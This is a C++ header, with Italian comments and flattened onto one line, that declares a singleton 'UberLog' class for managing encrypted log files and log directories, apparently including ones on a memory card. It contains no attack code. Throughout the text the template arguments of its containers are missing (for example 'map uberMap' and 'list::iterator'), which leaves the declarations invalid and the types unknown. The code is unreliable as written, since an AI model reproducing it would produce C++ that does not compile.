#pragma once #include "Common.h" #include "Encryption.h" BOOL SortByDate(const LogInfo& lInfo, const LogInfo& rInfo); list::iterator find(list *lst, WCHAR *pwSearch); class UberLog { private: /** * Definizioni per la classe singleton */ static UberLog *Instance; static volatile LONG lLock; HANDLE hUberLogMutex; private: map uberMap; private: vector treeVector; private: Encryption *encryptionObj; /** * Device e' una classe singleton */ private: BOOL IsInUse(wstring &strLogName); private: BOOL GetLogFileTime(wstring &strLogName, FILETIME *ft); private: BOOL ScanForLogs(wstring &strLogMask, wstring &strLogDirFormat, wstring &strSearchPath, UINT uMmc); private: void MakeLogDirs(); private: BOOL CreateLogDir(wstring &strDirPath, UINT uMmc); private: UINT ScanDirTree(wstring &strSearchPath, wstring &strEncName); private: UINT GetHashFromFullPath(wstring &strFullPath); // Torna l'hash di una Log Dir private: wstring GetLogDirFromFullPath(wstring &strFullPath); // Torna il path della Log Dir da un full path public: static UberLog* self(); public: void Clear(); public: BOOL Add(wstring &strName, UINT uLogType, FILETIME ft, UINT uOnMmc); public: BOOL Add(UberStruct &uber); // Chiamare SOLO dalla ScanLogs() public: BOOL Remove(wstring &strName, UINT uOnMmc); public: BOOL Delete(wstring &strName); public: BOOL DeleteAll(); public: BOOL Close(wstring &strName, BOOL bOnMmc); public: BOOL ScanLogs(); public: list* ListClosed(); public: list* ListClosedByType(UINT uLogType); public: BOOL ClearListSnapshot(list *pSnap); // Pulisce uno snapshot creato con le ListClosed*() public: UINT GetLogNum(); // Torna il numero di log presenti nella coda public: wstring GetAvailableDir(UINT uMmc); // Prendi il nome della prossima directory disponibile public: void Print(); private: UberLog(); private: ~UberLog(); }; .